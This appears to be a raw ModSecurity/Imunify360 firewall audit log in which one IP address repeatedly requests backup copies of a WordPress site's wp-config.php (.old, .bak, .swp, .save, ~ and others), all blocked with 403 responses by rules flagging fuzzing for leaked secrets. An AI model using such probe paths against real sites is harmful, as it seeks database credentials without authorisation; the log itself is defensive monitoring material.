Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--72c6534f-Z--
--b2d63136-A--
[13/Sep/2026:07:01:09.439023 +0300] aqYgBTTJ6xTvcJoem7f2LQAAAEw 169.40.142.172 48634 127.0.0.1 7081
--b2d63136-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--b2d63136-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b2d63136-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgBTTJ6xTvcJoem7f2LQAAAEw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgBTTJ6xTvcJoem7f2LQAAAEw"]
Action: Intercepted (phase 2)
Stopwatch: 1789272069378212 60858 (- - -)
Stopwatch2: 1789272069378212 60858; combined=59170, p1=264, p2=58615, p3=0, p4=0, p5=291, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b2d63136-Z--
--262fbe18-A--
[13/Sep/2026:07:01:09.882851 +0300] aqYgBWM7dE9KgIIOpQhgjAAAANc 169.40.142.172 48636 127.0.0.1 7081
--262fbe18-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--262fbe18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--262fbe18-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgBWM7dE9KgIIOpQhgjAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqYgBWM7dE9KgIIOpQhgjAAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789272069826088 56804 (- - -)
Stopwatch2: 1789272069826088 56804; combined=55678, p1=252, p2=55123, p3=0, p4=0, p5=303, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--262fbe18-Z--
--a443dd34-A--
[13/Sep/2026:07:01:11.281204 +0300] aqYgB2M7dE9KgIIOpQhgjQAAAME 169.40.142.172 48648 127.0.0.1 7081
--a443dd34-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--a443dd34-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a443dd34-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgB2M7dE9KgIIOpQhgjQAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqYgB2M7dE9KgIIOpQhgjQAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789272071224234 57083 (- - -)
Stopwatch2: 1789272071224234 57083; combined=55575, p1=228, p2=54670, p3=0, p4=0, p5=677, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a443dd34-Z--
--ee6f574e-A--
[13/Sep/2026:07:01:11.710488 +0300] aqYgB0wu1RSkptiiNIXvEwAAAIw 169.40.142.172 48650 127.0.0.1 7081
--ee6f574e-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--ee6f574e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ee6f574e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgB0wu1RSkptiiNIXvEwAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgB0wu1RSkptiiNIXvEwAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789272071606681 103857 (- - -)
Stopwatch2: 1789272071606681 103857; combined=102205, p1=308, p2=101542, p3=0, p4=0, p5=354, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ee6f574e-Z--
--57e4b97c-A--
[13/Sep/2026:07:01:27.079603 +0300] aqYgF0wu1RSkptiiNIXvGwAAAIQ 169.40.142.172 54456 127.0.0.1 7081
--57e4b97c-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--57e4b97c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--57e4b97c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgF0wu1RSkptiiNIXvGwAAAIQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgF0wu1RSkptiiNIXvGwAAAIQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272087014368 65328 (- - -)
Stopwatch2: 1789272087014368 65328; combined=62767, p1=550, p2=61747, p3=0, p4=0, p5=470, sr=254, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--57e4b97c-Z--
--2ad8a114-A--
[13/Sep/2026:07:01:27.634669 +0300] aqYgF2M7dE9KgIIOpQhgjwAAAMs 169.40.142.172 54460 127.0.0.1 7081
--2ad8a114-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--2ad8a114-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2ad8a114-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgF2M7dE9KgIIOpQhgjwAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgF2M7dE9KgIIOpQhgjwAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789272087576840 57869 (- - -)
Stopwatch2: 1789272087576840 57869; combined=56695, p1=223, p2=56174, p3=0, p4=0, p5=298, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2ad8a114-Z--
--f22c9835-A--
[13/Sep/2026:07:01:29.534010 +0300] aqYgGUwu1RSkptiiNIXvHAAAAJM 169.40.142.172 54474 127.0.0.1 7081
--f22c9835-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--f22c9835-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f22c9835-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgGUwu1RSkptiiNIXvHAAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgGUwu1RSkptiiNIXvHAAAAJM"]
Action: Intercepted (phase 2)
Stopwatch: 1789272089477914 56136 (- - -)
Stopwatch2: 1789272089477914 56136; combined=54964, p1=224, p2=54472, p3=0, p4=0, p5=268, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f22c9835-Z--
--fe3d8169-A--
[13/Sep/2026:07:01:30.482242 +0300] aqYgGmM7dE9KgIIOpQhgkAAAANQ 169.40.142.172 54482 127.0.0.1 7081
--fe3d8169-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--fe3d8169-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fe3d8169-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgGmM7dE9KgIIOpQhgkAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqYgGmM7dE9KgIIOpQhgkAAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272090422162 60121 (- - -)
Stopwatch2: 1789272090422162 60121; combined=57859, p1=273, p2=57264, p3=0, p4=0, p5=322, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe3d8169-Z--
--bfdf1b42-A--
[13/Sep/2026:07:01:32.414406 +0300] aqYgHCsVWymXUono-eRRCQAAAA8 169.40.142.172 54498 127.0.0.1 7081
--bfdf1b42-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--bfdf1b42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--bfdf1b42-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgHCsVWymXUono-eRRCQAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqYgHCsVWymXUono-eRRCQAAAA8"]
Action: Intercepted (phase 2)
Stopwatch: 1789272092358534 55945 (- - -)
Stopwatch2: 1789272092358534 55945; combined=54694, p1=237, p2=54165, p3=0, p4=0, p5=292, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bfdf1b42-Z--
--335ff058-A--
[13/Sep/2026:07:01:33.681608 +0300] aqYgHWM7dE9KgIIOpQhgkQAAAMA 169.40.142.172 54510 127.0.0.1 7081
--335ff058-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--335ff058-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--335ff058-H--
